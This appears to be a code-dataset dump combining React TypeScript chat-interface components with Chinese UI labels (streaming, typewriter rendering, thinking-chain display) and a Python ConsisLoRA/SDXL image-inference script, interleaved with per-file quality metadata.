}
};
// Handle sending messages programmatically
const sendMessage = async (content: string, role: 'user' | 'assistant' = 'user') => {
if (!content.trim() || isLoading) return;
setIsAnalyzing(true);
try {
await append({
role,
content,
id: `msg-${Date.now()}`
});
} catch (error) {
console.error('Send message error:', error);
setIsAnalyzing(false);
}
};
// Expose sendMessage for external use
React.useImperativeHandle(ref, () => ({
sendMessage,
clearChat
}));
// Clear chat history
const clearChat = () => {
setMessages([]);
};
// Handle keyboard shortcuts
const handleKeyDown = (e: React.KeyboardEvent<HTMLTextAreaElement>) => {
if (e.key === 'Enter' && !e.shiftKey) {
e.preventDefault();
onSubmit(e as any);
}
};
return (
<div className={`ai-chat-interface ${className}`}>
{/* Chat Messages */}
<div className="chat-messages">
{messages.map((message, index) => (
<div key={message.id || index} className={`message ${message.role}`}>
<div className="message-header">
<span className="role">{message.role === 'user' ? '用户' : 'AI助手'}</span>
<span className="timestamp">
{new Date().toLocaleTimeString()}
</span>
</div>
<div className="message-content">
{message.role === 'assistant' ? (
<MessageWithThinking
content={message.content}
thinkingContent={(message as any).thinking_content}
isStreaming={isLoading && index === messages.length - 1}
role="assistant"
timestamp={new Date().toISOString()}
ragSources={(message as any).rag_sources}
/>
) : (
<div className="user-message">
<MarkdownRenderer content={message.content} />
</div>
)}
</div>
</div>
))}
{/* Loading indicator */}
{isLoading && (
<div className="message assistant">
<div className="message-header">
<span className="role">AI助手</span>
<span className="timestamp">正在回复...</span>
</div>
<div className="message-content">
<div className="loading-indicator">
<div className="typing-dots">
<span></span>
<span></span>
<span></span>
</div>
<span>正在分析中...</span>
</div>
</div>
</div>
)}
{/* Error display */}
{error && (
<div className="error-message">
<div className="error-content">
<span className="error-icon">⚠️</span>
<span className="error-text">
出错了: {error.message}
</span>
<button onClick={() => reload()} className="retry-button">
重试
</button>
</div>
</div>
)}
</div>
{/* Chat Input */}
<form onSubmit={onSubmit} className="chat-input-form">
<div className="input-container">
<textarea
value={input}
onChange={handleInputChange}
onKeyDown={handleKeyDown}
placeholder="输入您的问题..."
disabled={isLoading}
rows={3}
className="chat-input"
/>
<div className="input-actions">
<button
type="submit"
disabled={!input.trim() || isLoading}
className="send-button"
>
{isLoading ? '发送中...' : '发送'}
</button>
{isLoading && (
<button
type="button"
onClick={stop}
className="stop-button"
>
停止
</button>
)}
<button
type="button"
onClick={clearChat}
disabled={isLoading}
className="clear-button"
>
清空
</button>
</div>
</div>
</form>
{/* Chat Controls */}
<div className="chat-controls">
<label className="chain-of-thought-toggle">
<input
type="checkbox"
checked={enableChainOfThought}
onChange={() => {
// This would need to be passed up to parent component
// for now just show the current state
}}
disabled={isLoading}
/>
<span>显示思维过程</span>
</label>
<div className="chat-stats">
<span>消息数: {messages.length}</span>
{isAnalyzing && <span className="analyzing">分析中...</span>}
</div>
</div>
</div>
);
});
// Export utility functions for external use
export const useChatHelpers = () => {
return {
sendMessage: (chatRef: React.RefObject<any>, content: string) => {
if (chatRef.current?.sendMessage) {
chatRef.current.sendMessage(content);
}
},
clearChat: (chatRef: React.RefObject<any>) => {
if (chatRef.current?.clearChat) {
chatRef.current.clearChat();
}
}
};
};
| 8,234
|
AIChatInterface
|
tsx
|
en
|
tsx
|
code
|
{"qsc_code_num_words": 658, "qsc_code_num_chars": 8234.0, "qsc_code_mean_word_length": 6.58510638, "qsc_code_frac_words_unique": 0.32826748, "qsc_code_frac_chars_top_2grams": 0.0443111, "qsc_code_frac_chars_top_3grams": 0.02192476, "qsc_code_frac_chars_top_4grams": 0.02007847, "qsc_code_frac_chars_dupe_5grams": 0.10154627, "qsc_code_frac_chars_dupe_6grams": 0.05538888, "qsc_code_frac_chars_dupe_7grams": 0.04015694, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00036711, "qsc_code_frac_chars_whitespace": 0.33835317, "qsc_code_size_file_byte": 8234.0, "qsc_code_num_lines": 293.0, "qsc_code_num_chars_line_max": 88.0, "qsc_code_num_chars_line_mean": 28.10238908, "qsc_code_frac_chars_alphabet": 0.79460352, "qsc_code_frac_chars_comments": 0.08671363, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.32128514, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.09333865, "qsc_code_frac_chars_long_word_length": 0.01249834, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
|
000haoji/deep-student
|
src/chat-core/components/StreamingChatInterface.tsx
|
/**
* Streaming Chat Interface for AI SDK Analysis
*
* A simplified chat interface optimized for handling Tauri streaming events
* with proper thinking chain support and real-time rendering.
*/
import React, { useState, useImperativeHandle, useEffect, useRef } from 'react';
import { MessageWithThinking } from './MessageWithThinking';
import { MarkdownRenderer } from './MarkdownRenderer';
interface StreamingChatMessage {
id: string;
role: 'user' | 'assistant';
content: string;
thinking_content?: string;
timestamp: string;
rag_sources?: Array<{
document_id: string;
file_name: string;
chunk_text: string;
score: number;
chunk_index: number;
}>;
}
interface StreamingChatInterfaceProps {
messages: StreamingChatMessage[];
isStreaming: boolean;
enableChainOfThought?: boolean;
onSendMessage?: (message: string) => void;
className?: string;
streamingMode?: 'typewriter' | 'instant'; // 流式输出模式
}
export interface StreamingChatInterfaceRef {
sendMessage: (content: string) => void;
clearInput: () => void;
clearChat: () => void;
setMessages: (messages: StreamingChatMessage[]) => void;
}
export const StreamingChatInterface = React.forwardRef<StreamingChatInterfaceRef, StreamingChatInterfaceProps>(({
messages,
isStreaming,
enableChainOfThought = true,
onSendMessage,
className = '',
streamingMode = 'typewriter' // 默认使用打字机模式
}, ref) => {
const [input, setInput] = useState('');
const [displayedContent, setDisplayedContent] = useState<{[key: string]: string}>({});
const [isFullscreen, setIsFullscreen] = useState(false);
const [isAnimating, setIsAnimating] = useState(false);
const messagesEndRef = useRef<HTMLDivElement>(null);
const typewriterTimeouts = useRef<{[key: string]: number}>({});
const containerRef = useRef<HTMLDivElement>(null);
// Handle form submission
const handleSubmit = (e: React.FormEvent) => {
e.preventDefault();
if (!input.trim() || isStreaming) return;
if (onSendMessage) {
onSendMessage(input);
}
setInput('');
};
// Handle keyboard shortcuts
const handleKeyDown = (e: React.KeyboardEvent<HTMLTextAreaElement>) => {
if (e.key === 'Enter' && !e.shiftKey) {
e.preventDefault();
handleSubmit(e as any);
}
// ESC键退出全屏
if (e.key === 'Escape' && isFullscreen) {
handleToggleFullscreen();
}
};
// 全屏切换功能
const handleToggleFullscreen = () => {
if (isAnimating) return;
setIsAnimating(true);
if (isFullscreen) {
// 退出全屏
if (containerRef.current) {
containerRef.current.classList.add('collapsing');
containerRef.current.classList.remove('fullscreen');
}
setTimeout(() => {
setIsFullscreen(false);
setIsAnimating(false);
if (containerRef.current) {
containerRef.current.classList.remove('collapsing');
}
}, 500);
} else {
// 进入全屏
setIsFullscreen(true);
if (containerRef.current) {
containerRef.current.classList.add('expanding');
}
setTimeout(() => {
if (containerRef.current) {
containerRef.current.classList.remove('expanding');
containerRef.current.classList.add('fullscreen');
}
setIsAnimating(false);
}, 500);
}
};
// 处理全屏快捷键
useEffect(() => {
const handleKeyPress = (e: KeyboardEvent) => {
// F11或Ctrl+Enter切换全屏
if (e.key === 'F11' || (e.ctrlKey && e.key === 'Enter')) {
e.preventDefault();
handleToggleFullscreen();
}
};
if (isFullscreen) {
document.addEventListener('keydown', handleKeyPress);
return () => document.removeEventListener('keydown', handleKeyPress);
}
}, [isFullscreen]);
// 打字机效果的流式内容显示
useEffect(() => {
if (streamingMode === 'instant') return;
messages.forEach((message) => {
if (message.role === 'assistant' && message.content) {
const messageId = message.id;
const fullContent = message.content;
const currentDisplayed = displayedContent[messageId] || '';
// Only start typewriter if content has changed and is longer
if (fullContent !== currentDisplayed && fullContent.length > currentDisplayed.length) {
// Clear existing timeout for this message
if (typewriterTimeouts.current[messageId]) {
clearTimeout(typewriterTimeouts.current[messageId]);
}
// Start typewriter from current position
let currentIndex = currentDisplayed.length;
const typeNextChar = () => {
if (currentIndex < fullContent.length) {
const nextContent = fullContent.substring(0, currentIndex + 1);
setDisplayedContent(prev => ({
...prev,
[messageId]: nextContent
}));
currentIndex++;
// 根据字符类型调整显示速度
const char = fullContent[currentIndex - 1];
let delay = 25; // Base typing speed
if (char === ' ') delay = 8;
else if (char === '.' || char === '!' || char === '?') delay = 150;
else if (char === ',' || char === ';' || char === ':') delay = 80;
else if (char === '\n') delay = 100;
typewriterTimeouts.current[messageId] = setTimeout(typeNextChar, delay);
}
};
// Start typing animation
if (currentIndex < fullContent.length) {
typeNextChar();
}
}
}
});
return () => {
// Cleanup timeouts
Object.values(typewriterTimeouts.current).forEach(timeout => clearTimeout(timeout));
};
}, [messages, streamingMode, displayedContent]);
// 自动滚动到底部
useEffect(() => {
if (messagesEndRef.current) {
messagesEndRef.current.scrollIntoView({ behavior: 'smooth' });
}
}, [messages, displayedContent]);
// Get content for display (original or typewriter)
const getDisplayContent = (message: StreamingChatMessage) => {
if (message.role === 'user' || streamingMode === 'instant') {
return message.content;
}
return displayedContent[message.id] || '';
};
// Expose methods to parent component
useImperativeHandle(ref, () => ({
sendMessage: (content: string) => {
if (onSendMessage) {
onSendMessage(content);
}
},
clearInput: () => {
setInput('');
},
clearChat: () => {
setDisplayedContent({});
Object.values(typewriterTimeouts.current).forEach(timeout => clearTimeout(timeout));
typewriterTimeouts.current = {};
},
setMessages: (_newMessages: StreamingChatMessage[]) => {
// Reset displayed content for new messages
setDisplayedContent({});
}
}));
return (
<div
ref={containerRef}
className={`streaming-chat-interface ${className} ${isFullscreen ? 'fullscreen' : ''}`}
>
{/* 全屏工具栏 */}
<div className="chat-toolbar">
<div className="toolbar-left">
<span className="chat-title">💬 AI智能对话</span>
</div>
<div className="toolbar-right">
<button
onClick={handleToggleFullscreen}
disabled={isAnimating}
className="fullscreen-toggle-btn"
title={isFullscreen ? "退出全屏 (ESC)" : "进入全屏 (F11)"}
>
{isFullscreen ? '⤋' : '⤢'}
</button>
</div>
</div>
{/* Chat Messages */}
<div className="chat-messages">
{messages.map((message, index) => (
<div key={message.id} className={`message-wrapper ${message.role}`}>
<div className="message-header">
<span className="role">{message.role === 'user' ? '用户' : 'AI助手'}</span>
<span className="timestamp">
{new Date(message.timestamp).toLocaleTimeString()}
</span>
</div>
{message.role === 'assistant' ? (
<MessageWithThinking
content={getDisplayContent(message)}
thinkingContent={message.thinking_content}
isStreaming={isStreaming && index === messages.length - 1}
role="assistant"
timestamp={message.timestamp}
ragSources={message.rag_sources}
/>
) : (
<div className="user-message-content">
<MarkdownRenderer content={message.content} />
</div>
)}
</div>
))}
{/* Streaming indicator */}
{isStreaming && (
<div className="streaming-indicator">
<div className="typing-dots">
<span></span>
<span></span>
<span></span>
</div>
<span className="streaming-text">AI正在思考和回答中...</span>
</div>
)}
{/* Auto-scroll anchor */}
<div ref={messagesEndRef} />
</div>
{/* Chat Input */}
<form onSubmit={handleSubmit} className="chat-input-form">
<div className="input-container">
<textarea
value={input}
onChange={(e) => setInput(e.target.value)}
onKeyDown={handleKeyDown}
placeholder="继续提问..."
disabled={isStreaming}
rows={3}
className="chat-input"
/>
<div className="input-actions">
<button
type="submit"
disabled={!input.trim() || isStreaming}
className="send-button"
>
{isStreaming ? '回答中...' : '发送'}
</button>
</div>
</div>
</form>
{/* Chat Info */}
<div className="chat-info">
<div className="chat-stats">
<span>消息数: {messages.length}</span>
{isStreaming && <span className="streaming-status">🔄 流式回答中</span>}
{enableChainOfThought && <span className="thinking-status">🧠 显示思维过程</span>}
</div>
</div>
</div>
);
});
StreamingChatInterface.displayName = 'StreamingChatInterface';
| 10,206
|
StreamingChatInterface
|
tsx
|
en
|
tsx
|
code
|
{"qsc_code_num_words": 786, "qsc_code_num_chars": 10206.0, "qsc_code_mean_word_length": 7.34860051, "qsc_code_frac_words_unique": 0.32188295, "qsc_code_frac_chars_top_2grams": 0.02493075, "qsc_code_frac_chars_top_3grams": 0.02908587, "qsc_code_frac_chars_top_4grams": 0.02285319, "qsc_code_frac_chars_dupe_5grams": 0.08102493, "qsc_code_frac_chars_dupe_6grams": 0.06925208, "qsc_code_frac_chars_dupe_7grams": 0.06128809, "qsc_code_frac_chars_dupe_8grams": 0.02423823, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00387382, "qsc_code_frac_chars_whitespace": 0.29178914, "qsc_code_size_file_byte": 10206.0, "qsc_code_num_lines": 330.0, "qsc_code_num_chars_line_max": 114.0, "qsc_code_num_chars_line_mean": 30.92727273, "qsc_code_frac_chars_alphabet": 0.79454898, "qsc_code_frac_chars_comments": 0.08103077, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.26865672, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.06460554, "qsc_code_frac_chars_long_word_length": 0.00682303, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
|
000haoji/deep-student
|
src/chat-core/components/StreamingMarkdownRenderer.tsx
|
import React, { useState, useEffect, useMemo } from 'react';
import { MarkdownRenderer } from './MarkdownRenderer';
interface StreamingMarkdownRendererProps {
content: string;
isStreaming: boolean;
chainOfThought?: {
enabled: boolean;
details?: any;
};
}
type ParsedContent = {
thinkingContent: string;
mainContent: string;
}
// 流式内容预处理函数
const preprocessStreamingContent = (content: string, isStreaming: boolean) => {
if (!content) return { content: '', hasPartialMath: false };
let processed = content;
let hasPartialMath = false;
// 检测不完整的数学公式
const incompletePatterns = [
/\$[^$]*$/, // 以$结尾但没有关闭$
/\$\$[^$]*$/, // 以$$结尾但没有关闭$$
/\\begin\{[^}]*\}[^\\]*$/, // 不完整的环境
/\\[a-zA-Z]+\{[^}]*$/, // 不完整的命令
];
if (isStreaming) {
// 更精确地检测不完整的数学公式
hasPartialMath = incompletePatterns.some(pattern => pattern.test(processed));
// 不要隐藏不完整的公式，而是保持原样并添加指示符
// 让用户看到正在输入的数学内容，即使还不完整
if (hasPartialMath) {
// 检查是否是真正的不完整公式（而不是正常的LaTeX语法）
const hasOpenMath = (processed.match(/\$/g) || []).length % 2 !== 0;
const hasOpenDisplayMath = (processed.match(/\$\$/g) || []).length % 2 !== 0;
// 只有当确实存在未闭合的数学公式时才标记为不完整
if (hasOpenMath || hasOpenDisplayMath) {
// 保持内容不变，只是标记状态
hasPartialMath = true;
} else {
hasPartialMath = false;
}
}
}
return { content: processed, hasPartialMath };
};
export const StreamingMarkdownRenderer: React.FC<StreamingMarkdownRendererProps> = ({
content,
isStreaming
}) => {
const [displayContent, setDisplayContent] = useState('');
const [showCursor, setShowCursor] = useState(true);
const [isPartialMath, setIsPartialMath] = useState(false);
useEffect(() => {
// 对流式内容进行智能处理
const processedContent = preprocessStreamingContent(content, isStreaming);
setDisplayContent(processedContent.content);
setIsPartialMath(processedContent.hasPartialMath);
}, [content, isStreaming]);
useEffect(() => {
if (isStreaming) {
const interval = setInterval(() => {
setShowCursor(prev => !prev);
}, 500);
return () => clearInterval(interval);
} else {
setShowCursor(false);
}
}, [isStreaming]);
// 解析思维链内容
const parseChainOfThought = (content: string): ParsedContent | null => {
// 检查是否包含 <thinking> 标签
const thinkingMatch = content.match(/<thinking>([\s\S]*?)<\/thinking>\s*/);
if (thinkingMatch) {
const thinkingContent = thinkingMatch[1].trim();
const mainContent = content.replace(thinkingMatch[0], '').trim();
return {
thinkingContent,
mainContent
};
}
return null;
};
const parsedContent = parseChainOfThought(displayContent);
// 使用 useMemo 优化性能
const renderedContent = useMemo(() => {
if (!displayContent) return null;
return <MarkdownRenderer content={displayContent} />;
}, [displayContent]);
return (
<div className="streaming-markdown">
{parsedContent ? (
<>
{/* 渲染思维链内容 */}
{parsedContent.thinkingContent && (
<div className="chain-of-thought">
<div className="chain-header">
<span className="chain-icon">🧠</span>
<span className="chain-title">AI 思考过程</span>
</div>
<div className="thinking-content">
<MarkdownRenderer content={parsedContent.thinkingContent} />
</div>
</div>
)}
{/* 渲染主要内容 */}
<div className="main-content">
{parsedContent.mainContent ? (
<MarkdownRenderer content={parsedContent.mainContent} />
) : (
renderedContent
)}
{isStreaming && showCursor && (
<span className="streaming-cursor">▋</span>
)}
{isPartialMath && isStreaming && (
<span className="partial-math-indicator" title="正在输入数学公式...">📝</span>
)}
</div>
</>
) : (
<div className="normal-content">
{renderedContent}
{isStreaming && showCursor && (
<span className="streaming-cursor">▋</span>
)}
{isPartialMath && isStreaming && (
<span className="partial-math-indicator" title="正在输入数学公式...">📝</span>
)}
</div>
)}
</div>
);
};
| 4,446
|
StreamingMarkdownRenderer
|
tsx
|
zh
|
tsx
|
code
|
{"qsc_code_num_words": 415, "qsc_code_num_chars": 4446.0, "qsc_code_mean_word_length": 6.16626506, "qsc_code_frac_words_unique": 0.39759036, "qsc_code_frac_chars_top_2grams": 0.00937866, "qsc_code_frac_chars_top_3grams": 0.00781555, "qsc_code_frac_chars_top_4grams": 0.02422821, "qsc_code_frac_chars_dupe_5grams": 0.14927706, "qsc_code_frac_chars_dupe_6grams": 0.13520907, "qsc_code_frac_chars_dupe_7grams": 0.11723329, "qsc_code_frac_chars_dupe_8grams": 0.11723329, "qsc_code_frac_chars_dupe_9grams": 0.11723329, "qsc_code_frac_chars_dupe_10grams": 0.11723329, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00278897, "qsc_code_frac_chars_whitespace": 0.27417904, "qsc_code_size_file_byte": 4446.0, "qsc_code_num_lines": 154.0, "qsc_code_num_chars_line_max": 87.0, "qsc_code_num_chars_line_mean": 28.87012987, "qsc_code_frac_chars_alphabet": 0.7886582, "qsc_code_frac_chars_comments": 0.0677013, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.29508197, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.05547516, "qsc_code_frac_chars_long_word_length": 0.01061264, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
|
000linlin/ConsisLoRA
|
inference.py
|
import os
from pipeline_demo import StableDiffusionXLPipelineLoraGuidance
def inference(
pipeline: StableDiffusionXLPipelineLoraGuidance,
prompt: str,
content_image_lora_path: str = None,
style_image_lora_path: str = None,
add_positive_content_prompt: str = None,
add_negative_content_prompt: str = None,
add_positive_style_prompt: str = None,
add_negative_style_prompt: str = None,
lora_scaling: list[float] = [1., 1.],
guidance_scale: float = 7.5,
content_guidance_scale: float = 0.,
style_guidance_scale: float = 0.,
num_images_per_prompt: int = 1,
num_steps: int = 30,
output_dir: str = "inference-image",
generator=None
):
pipeline.unload_lora_checkpoint()
pipeline.load_lora_checkpoint(content_image_lora_path, style_image_lora_path)
images = pipeline(
prompt=prompt,
lora_scaling=lora_scaling,
guidance_scale=guidance_scale,
num_inference_steps=num_steps,
add_positive_content_prompt=add_positive_content_prompt,
add_negative_content_prompt=add_negative_content_prompt,
add_positive_style_prompt=add_positive_style_prompt,
add_negative_style_prompt=add_negative_style_prompt,
content_guidance_scale=content_guidance_scale,
style_guidance_scale=style_guidance_scale,
num_images_per_prompt=num_images_per_prompt,
generator=generator
).images
os.makedirs(output_dir, exist_ok=True)
# save
for i, image in enumerate(images):
image.save(os.path.join(output_dir, f'{i}.jpg'))
print(f"saved images for {output_dir}")
if __name__ == "__main__":
import argparse
import torch
parser = argparse.ArgumentParser(description="inference script")
parser.add_argument("--prompt",
type=str,
required=True,
help="Inference prompt."
)
parser.add_argument(
"--content_image_lora_path",
type=str,
default=None,
help="The Path for ConsisLoRA trained on the content image."
)
parser.add_argument(
"--style_image_lora_path",
type=str,
default=None,
help="The Path for ConsisLoRA trained on the style image."
)
parser.add_argument(
"--add_positive_content_prompt",
type=str,
default=None,
help="The positive prompt for content guidance. if content_guidance_scale=0, this prompt will be ignored."
)
parser.add_argument(
"--add_negative_content_prompt",
type=str,
default=None,
help="The negative prompt for content guidance. if content_guidance_scale=0, this prompt will be ignored."
)
parser.add_argument(
"--add_positive_style_prompt",
type=str,
default=None,
help="The positive prompt for style guidance. if style_guidance_scale=0, this prompt will be ignored."
)
parser.add_argument(
"--add_negative_style_prompt",
type=str,
default=None,
help="The negative prompt for style guidance. if style_guidance_scale=0, this prompt will be ignored."
)
parser.add_argument(
"--lora_scaling",
type=float,
nargs="+",
default=[1., 1.],
help="List of scaling factors for LoRA, i.g., [content_lora_scaling, style_lora_scaling]."
)
parser.add_argument(
"--guidance_scale",
type=float,
default=7.5,
help="Guidance scale as defined in [Classifier-Free Diffusion Guidance](https://arxiv.org/abs/2207.12598)."
)
parser.add_argument(
"--content_guidance_scale",
type=float,
default=0.,
help="Guidance scale for enhancing content."
)
parser.add_argument(
"--style_guidance_scale",
type=float,
default=0.,
help="Guidance scale for enhancing style."
)
parser.add_argument(
"--num_images_per_prompt",
type=int,
default=1,
help="number of images per prompt."
)
parser.add_argument(
"--num_steps",
type=int,
default=30,
help="The number of denoising steps."
)
parser.add_argument(
"--output_dir",
type=str,
default="inference-images",
help="The path to save the images"
)
parser.add_argument(
"--seed",
type=int,
default=29,
help="A seed for reproducible inference."
)
args = parser.parse_args()
generator=torch.manual_seed(args.seed)
device = "cuda"
pipeline = StableDiffusionXLPipelineLoraGuidance.from_pretrained(
"stabilityai/stable-diffusion-xl-base-1.0",
torch_dtype=torch.float16,
).to(device)
from diffusers import EulerDiscreteScheduler
pipeline.scheduler = EulerDiscreteScheduler.from_config(
pipeline.scheduler.config,
timestep_spacing="trailing"
)
inference(
pipeline=pipeline,
prompt=args.prompt,
content_image_lora_path=args.content_image_lora_path,
style_image_lora_path=args.style_image_lora_path,
add_positive_content_prompt=args.add_positive_content_prompt,
add_negative_content_prompt=args.add_negative_content_prompt,
add_positive_style_prompt=args.add_positive_style_prompt,
add_negative_style_prompt=args.add_negative_style_prompt,
lora_scaling=args.lora_scaling,
guidance_scale=args.guidance_scale,
content_guidance_scale=args.content_guidance_scale,
style_guidance_scale=args.style_guidance_scale,
num_images_per_prompt=args.num_images_per_prompt,
num_steps=args.num_steps,
output_dir=args.output_dir,
generator=generator
)
| 5,801
|
inference
|
py
|
en
|
python
|
code
|
{"qsc_code_num_words": 680, "qsc_code_num_chars": 5801.0, "qsc_code_mean_word_length": 5.33676471, "qsc_code_frac_words_unique": 0.17352941, "qsc_code_frac_chars_top_2grams": 0.08955635, "qsc_code_frac_chars_top_3grams": 0.07026729, "qsc_code_frac_chars_top_4grams": 0.03968035, "qsc_code_frac_chars_dupe_5grams": 0.43979058, "qsc_code_frac_chars_dupe_6grams": 0.36346101, "qsc_code_frac_chars_dupe_7grams": 0.33645632, "qsc_code_frac_chars_dupe_8grams": 0.31661615, "qsc_code_frac_chars_dupe_9grams": 0.21300634, "qsc_code_frac_chars_dupe_10grams": 0.21300634, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00849403, "qsc_code_frac_chars_whitespace": 0.24909498, "qsc_code_size_file_byte": 5801.0, "qsc_code_num_lines": 178.0, "qsc_code_num_chars_line_max": 116.0, "qsc_code_num_chars_line_mean": 32.58988764, "qsc_code_frac_chars_alphabet": 0.82460973, "qsc_code_frac_chars_comments": 0.00068954, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.23780488, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.00609756, "qsc_code_frac_chars_string_length": 0.22826087, "qsc_code_frac_chars_long_word_length": 0.06677019, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": 0.00609756, "qsc_codepython_cate_var_zero": false, "qsc_codepython_frac_lines_pass": 0.0, "qsc_codepython_frac_lines_import": 0.0304878, "qsc_codepython_frac_lines_simplefunc": 0.0, "qsc_codepython_score_lines_no_logic": 0.03658537, "qsc_codepython_frac_lines_print": 0.00609756}
|
1
|
